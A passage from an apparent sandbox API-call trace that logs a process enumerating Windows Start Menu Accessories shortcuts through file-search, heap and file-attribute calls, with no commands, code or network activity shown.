ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkProjection.lnk", cAlternateFileName="")) returned 1 [0092.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8138 [0092.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369708 [0092.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.004] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0092.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8158 [0092.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369810 [0092.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="")) returned 1 [0092.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8178 [0092.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369918 [0092.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.008] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="")) returned 1 [0092.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8198 [0092.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369a20 [0092.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sound Recorder.lnk", cAlternateFileName="")) returned 1 [0092.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f81b8 [0092.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369b28 [0092.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.012] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sticky Notes.lnk", cAlternateFileName="")) returned 1 [0092.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f81d8 [0092.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369c30 [0092.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Center.lnk", cAlternateFileName="")) returned 1 [0092.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f81f8 [0092.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369d38 [0092.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="")) returned 1 [0092.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="")) returned 1 [0092.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Center.lnk", cAlternateFileName="")) returned 1 [0092.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8218 [0092.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369e40 [0092.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.018] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="")) returned 1 [0092.018] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0092.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8238 [0092.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1369f48 [0092.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0092.020] GetLastError () returned 0x12 [0092.020] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.020] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.021] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.021] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="")) returned 1 [0092.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.021] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.021] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0092.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.022] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0092.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.022] NtClose (Handle=0x16c) returned 0x0 [0092.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a158 [0092.024] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9100 [0092.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.025] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a260 [0092.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8258 [0092.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a368 [0092.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.028] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 1 [0092.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8278 [0092.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a470 [0092.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.030] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 0 [0092.030] GetLastError () returned 0x12 [0092.030] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0092.030] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.030] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.030] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.030] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 1 [0092.030] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 0 [0092.030] GetLastError () returned 0x12 [0092.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a158) returned 1 [0092.031] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a260) returned 1 [0092.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: 